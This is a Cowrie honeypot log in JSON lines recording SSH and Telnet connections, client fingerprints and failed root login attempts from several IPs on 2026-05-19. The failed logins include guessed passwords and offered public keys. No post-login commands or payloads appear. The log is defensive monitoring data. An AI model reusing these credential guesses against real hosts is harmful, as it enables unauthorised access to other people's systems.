{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":58614,"dst_ip":"10.17.0.5","dst_port":22,"session":"b793dfb0b293","protocol":"ssh","message":"New connection: 94.159.98.239:58614 (10.17.0.5:22) [session: b793dfb0b293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:47.361330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:47.577368Z","src_ip":"94.159.98.239","session":"b793dfb0b293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:47.583107Z","src_ip":"94.159.98.239","session":"b793dfb0b293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elizabeth","message":"login attempt [root/elizabeth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:48.923507Z","src_ip":"94.159.98.239","session":"b793dfb0b293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.550333976745605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:49.908324Z","src_ip":"192.119.13.58","session":"11f86d26cb30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:50.198621Z","src_ip":"94.159.98.239","session":"b793dfb0b293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52858,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c40bcb9a083","protocol":"ssh","message":"New connection: 103.172.78.219:52858 (10.17.0.5:22) [session: 2c40bcb9a083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:51.593193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:51.602329Z","src_ip":"103.172.78.219","session":"2c40bcb9a083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:51.862100Z","src_ip":"103.172.78.219","session":"2c40bcb9a083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"violetta","message":"login attempt [root/violetta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:52.722583Z","src_ip":"103.172.78.219","session":"2c40bcb9a083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:53.987793Z","src_ip":"103.172.78.219","session":"2c40bcb9a083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.09076714515686,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:59.713029Z","src_ip":"192.119.13.58","session":"74ce7422079e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecebe0456b0d","protocol":"telnet","message":"New connection: 192.119.13.58:45436 (10.17.0.5:23) [session: ecebe0456b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:03.330738Z"}
{"eventid":"cowrie.session.closed","duration":34.03221130371094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:09.884789Z","src_ip":"192.119.13.58","session":"a78c1e072518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":46686,"dst_ip":"10.17.0.5","dst_port":22,"session":"23956bc6206b","protocol":"ssh","message":"New connection: 103.173.227.57:46686 (10.17.0.5:22) [session: 23956bc6206b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:10.645485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:10.652285Z","src_ip":"103.173.227.57","session":"23956bc6206b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:10.899629Z","src_ip":"103.173.227.57","session":"23956bc6206b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnhtktw","message":"login attempt [root/cnhtktw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:11.626287Z","src_ip":"103.173.227.57","session":"23956bc6206b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:12.873264Z","src_ip":"103.173.227.57","session":"23956bc6206b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41318,"dst_ip":"10.17.0.5","dst_port":23,"session":"446688fc50b9","protocol":"telnet","message":"New connection: 192.119.13.58:41318 (10.17.0.5:23) [session: 446688fc50b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:30.185809Z"}
{"eventid":"cowrie.session.closed","duration":34.38894033432007,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:37.719557Z","src_ip":"192.119.13.58","session":"ecebe0456b0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43726,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1942f0dad2c","protocol":"telnet","message":"New connection: 192.119.13.58:43726 (10.17.0.5:23) [session: a1942f0dad2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:38.712700Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52784,"dst_ip":"10.17.0.5","dst_port":23,"session":"4210649a632e","protocol":"telnet","message":"New connection: 192.119.13.58:52784 (10.17.0.5:23) [session: 4210649a632e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:40.743459Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":36990,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed896ec020e","protocol":"ssh","message":"New connection: 38.93.206.2:36990 (159.203.135.109:22) [session: 1ed896ec020e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:54.001456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:54.006716Z","src_ip":"38.93.206.2","session":"1ed896ec020e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:54.058350Z","src_ip":"38.93.206.2","session":"1ed896ec020e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1a2z3","message":"login attempt [root/q1a2z3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:54.211419Z","src_ip":"38.93.206.2","session":"1ed896ec020e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:41:55.264907Z","src_ip":"38.93.206.2","session":"1ed896ec020e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58316,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ba2eba988e","protocol":"telnet","message":"New connection: 192.119.13.58:58316 (10.17.0.5:23) [session: b4ba2eba988e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:02.339038Z"}
{"eventid":"cowrie.session.closed","duration":42.44195246696472,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:12.627617Z","src_ip":"192.119.13.58","session":"446688fc50b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97783923149109,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:12.690405Z","src_ip":"192.119.13.58","session":"a1942f0dad2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39818,"dst_ip":"10.17.0.5","dst_port":23,"session":"f69160cd0ecd","protocol":"telnet","message":"New connection: 192.119.13.58:39818 (10.17.0.5:23) [session: f69160cd0ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:12.859721Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52786,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f787a8bd0b5","protocol":"telnet","message":"New connection: 192.119.13.58:52786 (10.17.0.5:23) [session: 8f787a8bd0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:22.474105Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54080,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f2586fd564f","protocol":"telnet","message":"New connection: 192.119.13.58:54080 (10.17.0.5:23) [session: 5f2586fd564f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:22.815275Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb56c66b3692","protocol":"telnet","message":"New connection: 192.119.13.58:55060 (10.17.0.5:23) [session: bb56c66b3692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:23.140972Z"}
{"eventid":"cowrie.session.closed","duration":43.06982898712158,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:23.813150Z","src_ip":"192.119.13.58","session":"4210649a632e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":49646,"dst_ip":"10.17.0.5","dst_port":22,"session":"8976f6ef712b","protocol":"ssh","message":"New connection: 87.121.69.138:49646 (10.17.0.5:22) [session: 8976f6ef712b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:33.446538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:33.453044Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:33.542458Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:b1:e6:6e:01:73:5a:71:76:be:ff:97:ec:2f:63:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAMcxs/1CleDFb39/ypgoJ62mabv7z7sIwlaVpriqdfWRaBk7kU8A8zkxVVFp9ZrbU5l7erisGdX7MQAUPnWIjvaGh0qjPaROm3hXpzViISe/K64W11Zlipva1sx5PyCixNcV1ZuxabghhhZYYoAGWWPV+s3uFRFnz8fRVLoMzVbB5Uj7ok0vhuu5R4otl9nXHHEJTiy3rz/DpuKrhx4FTHw2yRUDpHRqP43iZDGTtBNFROZ8pfpjzP+MK6q+mfhMTSVeHOjztMwbUB/v8XeBxfctmPAYRb550pR7SYtuiSJMoXPqVkbQ9ncLFlWS4xvZVP5XhNmQ/KalkzlejAVSF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:b1:e6:6e:01:73:5a:71:76:be:ff:97:ec:2f:63:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:33.939537Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:b1:e6:6e:01:73:5a:71:76:be:ff:97:ec:2f:63:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAMcxs/1CleDFb39/ypgoJ62mabv7z7sIwlaVpriqdfWRaBk7kU8A8zkxVVFp9ZrbU5l7erisGdX7MQAUPnWIjvaGh0qjPaROm3hXpzViISe/K64W11Zlipva1sx5PyCixNcV1ZuxabghhhZYYoAGWWPV+s3uFRFnz8fRVLoMzVbB5Uj7ok0vhuu5R4otl9nXHHEJTiy3rz/DpuKrhx4FTHw2yRUDpHRqP43iZDGTtBNFROZ8pfpjzP+MK6q+mfhMTSVeHOjztMwbUB/v8XeBxfctmPAYRb550pR7SYtuiSJMoXPqVkbQ9ncLFlWS4xvZVP5XhNmQ/KalkzlejAVSF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:33.943912Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:b8:f7:82:6e:09:c4:c7:32:fa:18:e5:6e:a7:2f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLlMboIV9ClPn9YBv7L4SVClvH72xgOIOUKtPsT6qW1LVXDJG2SiNdnvd+7cA9EuypzEXNVnKCAuFFEQHaZP0RDBC1/O5OIhuWfm3Jz7+2Jn/J4QuH7rYdu+nWNsFenaRoell9kj346QLjjBcBPrckHaRnLIWjtoVNmlT41bSVCYslRAo5gXfcdKfiHJX+OFWLew23nC7CrfpbE+6W8f6prWcS3F6o0bwueS14+SfKSOXgPNbGYxr28HpIX2bC530WPj0c6y2aiANrGHDQBHOpxG1YT2E1WnTxdYpFRxLgZPjXO/RvFhfH8ychJKKVFzoiRl9zTNhtj+llxe/hcdXXHP7iI86cI6EY4jiHvCVZfkBSH3ELJ5LDzkQHrmvsd7YVh/xmro8ixQ8AlIsUSfu90V34vYveeVhu9QxFkPQawvuKYtXnEfagg299AXe7kM9TyNdMb5k/TG0l1E8jRMP0csEJKJjKdS+ymwzPbagwv2c7C7ZMU0fDJypnBvBnooE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:b8:f7:82:6e:09:c4:c7:32:fa:18:e5:6e:a7:2f:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.028974Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:b8:f7:82:6e:09:c4:c7:32:fa:18:e5:6e:a7:2f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLlMboIV9ClPn9YBv7L4SVClvH72xgOIOUKtPsT6qW1LVXDJG2SiNdnvd+7cA9EuypzEXNVnKCAuFFEQHaZP0RDBC1/O5OIhuWfm3Jz7+2Jn/J4QuH7rYdu+nWNsFenaRoell9kj346QLjjBcBPrckHaRnLIWjtoVNmlT41bSVCYslRAo5gXfcdKfiHJX+OFWLew23nC7CrfpbE+6W8f6prWcS3F6o0bwueS14+SfKSOXgPNbGYxr28HpIX2bC530WPj0c6y2aiANrGHDQBHOpxG1YT2E1WnTxdYpFRxLgZPjXO/RvFhfH8ychJKKVFzoiRl9zTNhtj+llxe/hcdXXHP7iI86cI6EY4jiHvCVZfkBSH3ELJ5LDzkQHrmvsd7YVh/xmro8ixQ8AlIsUSfu90V34vYveeVhu9QxFkPQawvuKYtXnEfagg299AXe7kM9TyNdMb5k/TG0l1E8jRMP0csEJKJjKdS+ymwzPbagwv2c7C7ZMU0fDJypnBvBnooE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.032976Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
